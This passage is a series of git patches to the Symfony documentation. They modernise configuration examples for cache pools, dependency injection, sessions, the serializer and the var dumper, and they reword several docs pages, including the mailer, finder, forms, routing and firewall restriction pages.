                 <framework:cache>
-                    <framework:pool name="cache.my_redis" adapter="cache.adapter.redis" provider="app.my_custom_redis_provider"/>
+                    <framework:pool name="cache.my_redis"
+                        adapter="cache.adapter.redis"
+                        provider="app.my_custom_redis_provider"
+                    />
                 </framework:cache>
             </framework:config>
 
@@ -438,27 +460,34 @@ and use that when configuring the pool.
     .. code-block:: php
 
         // config/packages/cache.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\Cache\Adapter\RedisAdapter;
 
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.my_redis' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'provider' => 'app.my_custom_redis_provider',
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'cache.my_redis' => [
+                            'adapter' => 'cache.adapter.redis',
+                            'provider' => 'app.my_custom_redis_provider',
+                        ],
                     ],
                 ],
-            ],
-        ]);
-
-        $container->register('app.my_custom_redis_provider', \Redis::class)
-            ->setFactory([RedisAdapter::class, 'createConnection'])
-            ->addArgument('redis://localhost')
-            ->addArgument([
-                'retry_interval' => 2,
-                'timeout' => 10
-            ])
-        ;
+            ]);
+
+            $container->services()
+                ->set('app.my_custom_redis_provider', \Redis::class)
+                    ->factory([RedisAdapter::class, 'createConnection'])
+                    ->args([
+                        'redis://localhost',
+                        [
+                            'retry_interval' => 2,
+                            'timeout' => 10,
+                        ]
+                    ])
+            ;
+        };
 
 Creating a Cache Chain
 ----------------------
@@ -506,11 +535,14 @@ Symfony stores the item automatically in all the missing pools.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                    <framework:pool name="my_cache_pool" default-lifetime="31536000">
+                    <framework:pool name="my_cache_pool"
+                        default-lifetime="31536000"> <!-- One year -->
                         <framework:adapter name="cache.adapter.array"/>
                         <framework:adapter name="cache.adapter.apcu"/>
                         <framework:adapter name="cache.adapter.redis" provider="redis://user:password@example.com"/>
@@ -522,20 +554,24 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'default_lifetime' => 31536000, // One year
-                        'adapters' => [
-                            'cache.adapter.array',
-                            'cache.adapter.apcu',
-                            ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'my_cache_pool' => [
+                            'default_lifetime' => 31536000, // One year
+                            'adapters' => [
+                                'cache.adapter.array',
+                                'cache.adapter.apcu',
+                                ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+                            ],
                         ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 Using Cache Tags
 ----------------
@@ -602,11 +638,14 @@ to enable this feature. This could be added by using the following configuration
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                  <framework:pool name="my_cache_pool" adapter="cache.adapter.redis" tags="true"/>
+                    <framework:pool name="my_cache_pool"
+                        adapter="cache.adapter.redis"
+                        tags="true"
+                    />
                 </framework:cache>
             </framework:config>
         </container>
@@ -614,16 +653,20 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => true,
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'my_cache_pool' => [
+                            'adapter' => 'cache.adapter.redis',
+                            'tags' => true,
+                        ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 Tags are stored in the same pool by default. This is good in most scenarios. But
 sometimes it might be better to store the tags in a different pool. That could be
@@ -651,12 +694,17 @@ achieved by specifying the adapter.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache>
-                  <framework:pool name="my_cache_pool" adapter="cache.adapter.redis" tags="tag_pool"/>
-                  <framework:pool name="tag_pool" adapter="cache.adapter.apcu"/>
+                    <framework:pool name="my_cache_pool"
+                        adapter="cache.adapter.redis"
+                        tags="tag_pool"
+                    />
+                    <framework:pool name="tag_pool" adapter="cache.adapter.apcu"/>
                 </framework:cache>
             </framework:config>
         </container>
@@ -664,19 +712,23 @@ achieved by specifying the adapter.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => 'tag_pool',
-                    ],
-                    'tag_pool' => [
-                        'adapter' => 'cache.adapter.apcu',
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'pools' => [
+                        'my_cache_pool' => [
+                            'adapter' => 'cache.adapter.redis',
+                            'tags' => 'tag_pool',
+                        ],
+                        'tag_pool' => [
+                            'adapter' => 'cache.adapter.apcu',
+                        ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 .. note::
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 486f89e599d..fab46ff3d26 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -259,15 +259,16 @@ config files:
             newsletter_manager:
                 class:     NewsletterManager
                 calls:
-                    - setMailer: ['@mailer']
+                    - [setMailer, ['@mailer']]
 
     .. code-block:: xml
 
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <parameters>
                 <!-- ... -->
                 <parameter key="mailer.transport">sendmail</parameter>
@@ -290,24 +291,21 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $services = $configurator->services();
-
-            $services->set('mailer', 'Mailer')
-                ->args(['%mailer.transport%'])
-            ;
+            $container->services()
+                ->set('mailer', 'Mailer')
+                    ->args(['%mailer.transport%'])
 
-            $services->set('newsletter_manager', 'NewsletterManager')
-                ->call('setMailer', [ref('mailer')])
+                ->set('newsletter_manager', 'NewsletterManager')
+                    ->call('setMailer', [ref('mailer')])
             ;
         };
 
-
 Learn More
 ----------
 
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 92868df1985..50c6b736353 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -19,8 +19,8 @@
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                    https://symfony.com/schema/dic/services/services-1.0.xsd"
+            >
                 <imports>
                     <import resource="%kernel.project_dir%/somefile.yaml"/>
                 </imports>
@@ -29,4 +29,8 @@
         .. code-block:: php
 
             // config/services.php
-            $loader->import('%kernel.project_dir%/somefile.yaml');
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return static function (ContainerConfigurator $container) {
+                $container->import('%kernel.project_dir%/somefile.yaml');
+            };
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index acf754c0f5d..3f5812529b2 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -200,13 +200,16 @@ The XML version of the config would then look like this:
     <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xmlns:acme_demo="http://www.example.com/symfony/schema/"
-        xsi:schemaLocation="http://www.example.com/symfony/schema/ https://www.example.com/symfony/schema/hello-1.0.xsd">
-
-        <acme_demo:config>
+        xmlns:acme-demo="http://www.example.com/schema/dic/acme_demo"
+        xsi:schemaLocation="http://symfony.com/schema/dic/services
+            https://symfony.com/schema/dic/services/services-1.0.xsd
+            http://www.example.com/schema/dic/acme_demo
+            https://www.example.com/schema/dic/acme_demo/acme_demo-1.0.xsd"
+    >
+        <acme-demo:config>
             <acme_demo:foo>fooValue</acme_demo:foo>
             <acme_demo:bar>barValue</acme_demo:bar>
-        </acme_demo:config>
+        </acme-demo:config>
     </container>
 
 .. note::
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index 41aacae0e46..36ca212b006 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -187,21 +187,26 @@ configuration:
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
-                <framework:session gc_probability="null"/>
+                <framework:session gc-probability="null"/>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'gc_probability' => null,
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'session' => [
+                    'gc_probability' => null,
+                ],
+            ]);
+        };
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
diff --git a/components/serializer.rst b/components/serializer.rst
index c26cd480134..81707bc5a05 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -816,6 +816,8 @@ faster alternative to the
 
         # config/services.yaml
         services:
+            # ...
+
             get_set_method_normalizer:
                 class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
                 tags: [serializer.normalizer]
@@ -827,9 +829,11 @@ faster alternative to the
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <services>
+                <!-- ... -->
+
                 <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
                     <tag name="serializer.normalizer"/>
                 </service>
@@ -843,11 +847,11 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                ->tag('serializer.normalizer')
+        return static function (ContainerConfigurator $container) {
+            $container->services()
+                // ...
+                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
+                    ->tag('serializer.normalizer')
             ;
         };
 
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index a607ddeb59b..1202791b97c 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -131,22 +131,27 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
 
         <!-- config/packages/debug.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/debug"
+        <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:debug="http://symfony.com/schema/dic/debug"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/debug https://symfony.com/schema/dic/debug/debug-1.0.xsd">
-
+                http://symfony.com/schema/dic/debug
+                https://symfony.com/schema/dic/debug/debug-1.0.xsd"
+        >
             <debug:config dump-destination="tcp://%env(VAR_DUMPER_SERVER)%"/>
         </container>
 
     .. code-block:: php
 
         // config/packages/debug.php
-        $container->loadFromExtension('debug', [
-           'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('debug', [
+                'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
+            ]);
+        };
 
 Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Dumper\\ServerDumper` class::
 

From 12c52deba66b477b3eeff1fe330eba8bc740fe81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 15:34:37 +0200
Subject: [PATCH 3515/7107] Tweaks

---
 reference/constraints/Email.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 4e019699251..6e63ed51642 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -153,10 +153,10 @@ in the second host part of the email address.
 strict
 ......
 
-If you're using Symfony Mailer to send emails to that address, this is
-the recommended mode, since both are using the same library, to perform an RFC
-compliant validation: `egulias/email-validator`_. If you're not using Symfony
-Mailer, you will need to install that library separately to use this mode.
+Performs an RFC compliant validation using the `egulias/email-validator`_ library.
+It's recommended to set this mode when using :doc:`Symfony Mailer </mailer>`
+because the library is already installed and ready to use. Otherwise, you need
+to install the library separately to use this mode.
 
 html5
 .....

From 12099231af980ac800cadcde92e4d5de51cdd055 Mon Sep 17 00:00:00 2001
From: ToshY <31921460+ToshY@users.noreply.github.com>
Date: Sun, 11 Jul 2021 22:33:01 +0200
Subject: [PATCH 3516/7107] Update section setting headers globally

Added caution to clarify that setting headers globally is not supported for every 3rd party provider with keywords like "from".
---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index b845a8ee8f5..d5a34adda2f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -605,6 +605,11 @@ and headers.
 .. versionadded:: 5.2
 
     The ``headers`` option was introduced in Symfony 5.2.
+    
+.. caution::
+
+    The usage of keywords like ``from`` in the ``headers`` is not supported for every 3rd party provider (e.g. `Mailjet API V3`_). 
+    Please consult your provider's documentation before setting the ``headers`` globally.
 
 Handling Sending Failures
 -------------------------
@@ -1496,3 +1501,4 @@ you can use the built in assertions::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`Mailjet API V3`: https://dev.mailjet.com/email/guides/send-api-v31/#add-email-headers

From e68413ee9521f7c87b833b770a37c4afcc6845a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 16:22:16 +0200
Subject: [PATCH 3517/7107] Minor reword

---
 mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d5a34adda2f..a151933d636 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -608,8 +608,9 @@ and headers.
     
 .. caution::
 
-    The usage of keywords like ``from`` in the ``headers`` is not supported for every 3rd party provider (e.g. `Mailjet API V3`_). 
-    Please consult your provider's documentation before setting the ``headers`` globally.
+    Some third-party providers don't support the usage of keywords like ``from``
+    in the ``headers``. Check out your provider's documentation before setting
+    any global header.
 
 Handling Sending Failures
 -------------------------

From cfdeef327557baf6d7bbd528b2cae42a2564e932 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 17:09:42 +0200
Subject: [PATCH 3518/7107] Minor tweak

---
 performance.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/performance.rst b/performance.rst
index a617820c1cb..8d651eab5de 100644
--- a/performance.rst
+++ b/performance.rst
@@ -331,14 +331,13 @@ Sections are a way to split the profile timeline into groups. Example::
     $this->stopwatch->stopSection('parsing');
 
 All events that don't belong to any named section are added to the special section
-``__root__``. This way you can get all stopwatch events, even if you don't know
-their names::
+called ``__root__``. This way you can get all stopwatch events, even if you don't
+know their names, as follows::
 
     foreach($this->stopwatch->getSectionEvents('__root__') as $event) {
         echo (string) $event;
     }
 
-
 Learn more
 ----------
 

From e9291f07f595eaacfa1593e41d080591b0bf6436 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 17:33:31 +0200
Subject: [PATCH 3519/7107] Reword

---
 components/dependency_injection/compilation.rst | 15 +++++----------
 components/filesystem.rst                       |  2 ++
 2 files changed, 7 insertions(+), 10 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index ca3bbd47ddd..01979fce7ac 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -468,13 +468,13 @@ serves at dumping the compiled container::
         file_put_contents($file, $dumper->dump());
     }
 
-
 .. tip::
 
-    Call to `file_put_contents` is not atomic. When generating container in
-    a production  environment with multiple concurrent requests, use `dumpFile`
-    from `component-filesystem` instead. This generates file in tmp and moves it
-    to its destination only once it's fully written to.
+    The ``file_put_contents()`` function is not atomic. That could cause issues
+    in a production environment with multiple concurrent requests. Instead, use
+    the :ref:`dumpFile() method <filesystem-dumpfile>` from Symfony Filesystem
+    component or other methods provided by Symfony (e.g. ``$containerConfigCache->write()``)
+    which are atomic.
     
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
@@ -567,11 +567,6 @@ for these resources and use them as metadata for the cache::
 
     require_once $file;
     $container = new MyCachedContainer();
-    
-.. note::
-
-    Using `$containerConfigCache->write` also makes sure that
-    the file write operation is atomic.
 
 Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug
diff --git a/components/filesystem.rst b/components/filesystem.rst
index fc0482227e7..9642ceb74f4 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -291,6 +291,8 @@ exception on failure::
 
     The option to set a suffix in  ``tempnam()`` was introduced in Symfony 5.1.
 
+.. _filesystem-dumpfile:
+
 ``dumpFile``
 ~~~~~~~~~~~~
 

From 60921434422a2f2b812fe92585f54380c01d26ae Mon Sep 17 00:00:00 2001
From: Kilian Schrenk <36930282+kschrenk@users.noreply.github.com>
Date: Wed, 15 Dec 2021 09:27:21 +0100
Subject: [PATCH 3520/7107] [Form] Additional hints when rendering the same
 form in different templates

---
 forms.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/forms.rst b/forms.rst
index 0da65609245..9155c715c71 100644
--- a/forms.rst
+++ b/forms.rst
@@ -455,6 +455,9 @@ possible paths:
     .. code-block:: twig
 
         {{ render(controller('App\\Controller\\TaskController::new')) }}
+        
+    But be careful becaues this might cause some extra work when it comes to submit and error handling.
+    Symfony Validation will get more complex when you render the same form in different routes.
 
 .. _validating-forms:
 

From d29ee51165c90f615cfd36b2701622e54022d1cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 17:46:00 +0200
Subject: [PATCH 3521/7107] Removed an unnecessary tip

---
 forms.rst | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/forms.rst b/forms.rst
index 9155c715c71..dad9437dd49 100644
--- a/forms.rst
+++ b/forms.rst
@@ -446,19 +446,6 @@ possible paths:
     data is passed to it, you can
     :doc:`use the submit() method to handle form submissions </form/direct_submit>`.
 
-.. tip::
-
-    If you need to render and process the same form in different templates,
-    use the ``render()`` function to :ref:`embed the controller <templates-embed-controllers>`
-    that processes the form:
-
-    .. code-block:: twig
-
-        {{ render(controller('App\\Controller\\TaskController::new')) }}
-        
-    But be careful becaues this might cause some extra work when it comes to submit and error handling.
-    Symfony Validation will get more complex when you render the same form in different routes.
-
 .. _validating-forms:
 
 Validating Forms

From 108bbe36aeaafa7ca49f691c2d787f6b7c44d3b5 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Tue, 9 Aug 2022 01:37:36 +0200
Subject: [PATCH 3522/7107] 6.1 don't mention PHP 7

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 5bc88019e9a..d9f19ddfecf 100644
--- a/routing.rst
+++ b/routing.rst
@@ -28,8 +28,8 @@ PHP attributes and annotations allow to define routes next to the code of the
 :doc:`controllers </controller>` associated to those routes. Attributes are
 native in PHP 8 and higher versions, so you can use them right away.
 
-In PHP 7 and earlier versions you can use annotations (via the Doctrine Annotations
-library), but first you'll need to install the following dependency in your project:
+You can use annotations via the Doctrine Annotations library,
+but first you'll need to install the following dependency in your project:
 
 .. code-block:: terminal
 

From df9281fbd2f6b664a2bd2d8d846d824875776cd9 Mon Sep 17 00:00:00 2001
From: hmoreau <hubert.moreau@gmail.com>
Date: Tue, 9 Aug 2022 10:49:26 +0200
Subject: [PATCH 3523/7107] [Finder] Add case insensitive sort

---
 components/finder.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/finder.rst b/components/finder.rst
index 55f010d61b6..9bfbdfa1afe 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -339,13 +339,14 @@ Sorting Results
 Sort the results by name, extension, size or type (directories first, then files)::
 
     $finder->sortByName();
+    $finder->sortByCaseInsensitiveName();
     $finder->sortByExtension();
     $finder->sortBySize();
     $finder->sortByType();
 
 .. versionadded:: 6.2
 
-    The ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
+    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
 
 .. tip::
 
@@ -353,6 +354,9 @@ Sort the results by name, extension, size or type (directories first, then files
     function (e.g. ``file1.txt``, ``file10.txt``, ``file2.txt``). Pass ``true``
     as its argument to use PHP's `natural sort order`_ algorithm instead (e.g.
     ``file1.txt``, ``file2.txt``, ``file10.txt``).
+    
+    The ``sortByCaseInsensitiveName()`` method uses the case insensitive :phpfunction:`strcasecmp` PHP function.
+    Pass ``true`` as its argument to use PHP's case insensitive `natural sort order`_ algorithm instead (the :phpfunction:`strnatcasecmp` PHP function)
 
 Sort the files and directories by the last accessed, changed or modified time::
 

From 09cd3e9c573c291ede7a9cbbbb430f6f62e783df Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 11:09:42 +0200
Subject: [PATCH 3524/7107] Tweaks

---
 components/finder.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 9bfbdfa1afe..7246c5ebafd 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -346,7 +346,8 @@ Sort the results by name, extension, size or type (directories first, then files
 
 .. versionadded:: 6.2
 
-    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
+    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()``
+    methods were introduced in Symfony 6.2.
 
 .. tip::
 
@@ -355,8 +356,10 @@ Sort the results by name, extension, size or type (directories first, then files
     as its argument to use PHP's `natural sort order`_ algorithm instead (e.g.
     ``file1.txt``, ``file2.txt``, ``file10.txt``).
     
-    The ``sortByCaseInsensitiveName()`` method uses the case insensitive :phpfunction:`strcasecmp` PHP function.
-    Pass ``true`` as its argument to use PHP's case insensitive `natural sort order`_ algorithm instead (the :phpfunction:`strnatcasecmp` PHP function)
+    The ``sortByCaseInsensitiveName()`` method uses the case insensitive
+    :phpfunction:`strcasecmp` PHP function. Pass ``true`` as its argument to use
+    PHP's case insensitive `natural sort order`_ algorithm instead (i.e. the
+    :phpfunction:`strnatcasecmp` PHP function)
 
 Sort the files and directories by the last accessed, changed or modified time::
 

From 9773afdcaab532ee2a1bc8ecdac3a58ccb328b3e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 11:40:13 +0200
Subject: [PATCH 3525/7107] Minor tweak

---
 components/browser_kit.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 764e42e0e2b..f957fe381bb 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -319,9 +319,9 @@ dedicated web crawler or scraper such as `Goutte`_::
 
 .. tip::
 
-    You can also use HTTP client options like 'ciphers', 'auth_basic' and 'query'.
-    They have to be passed as the default options argument to the client, 
-    which is used by the HTTP browser.
+    You can also use HTTP client options like ``ciphers``, ``auth_basic`` and
+    ``query``. They have to be passed as the default options argument to the
+    client which is used by the HTTP browser.
 
 .. versionadded:: 4.3
 

From 0014a72dd1dc0b61c2ee3dd98246d3d9c39a7210 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 11:43:03 +0200
Subject: [PATCH 3526/7107] Remove an unused reference

---
 mailer.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a151933d636..c77ed616b53 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1502,4 +1502,3 @@ you can use the built in assertions::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Mailjet API V3`: https://dev.mailjet.com/email/guides/send-api-v31/#add-email-headers

From e0f53e9ad0b87f56882518529d852b0947cdf572 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Mon, 28 Feb 2022 22:19:52 +0100
Subject: [PATCH 3527/7107] Update firewall_restriction.rst

the correction assumes the the custom request matcher is App\Security\CustomRequestMatcher.

the `request_matcher` option is the service id. it should be mentionned before that  the `app.firewall.secured_area.request_matcher` is the service ID / or an alias like the following :

```
     app.firewall.secured_area.request_matcher:
        alias: App\Security\RequestMatcher
```
---
 security/firewall_restriction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 3638858efde..190c74c3cda 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -215,7 +215,7 @@ If the above options don't fit your needs you can configure any service implemen
         security:
             firewalls:
                 secured_area:
-                    request_matcher: app.firewall.secured_area.request_matcher
+                    request_matcher: App\Security\CustomRequestMatcher
                     # ...
 
     .. code-block:: xml

From 2a14cfd7d5f7863d61a24d59be7b53d9e18787fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 12:30:55 +0200
Subject: [PATCH 3528/7107] Tweak

---
 security/firewall_restriction.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 190c74c3cda..59e261e8628 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -232,7 +232,7 @@ If the above options don't fit your needs you can configure any service implemen
 
             <config>
                 <!-- ... -->
-                <firewall name="secured_area" request-matcher="app.firewall.secured_area.request_matcher">
+                <firewall name="secured_area" request-matcher="App\Security\CustomRequestMatcher">
                     <!-- ... -->
                 </firewall>
             </config>
@@ -241,13 +241,14 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: php
 
         // config/packages/security.php
+        use App\Security\CustomRequestMatcher;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
             // ....
 
             $security->firewall('secured_area')
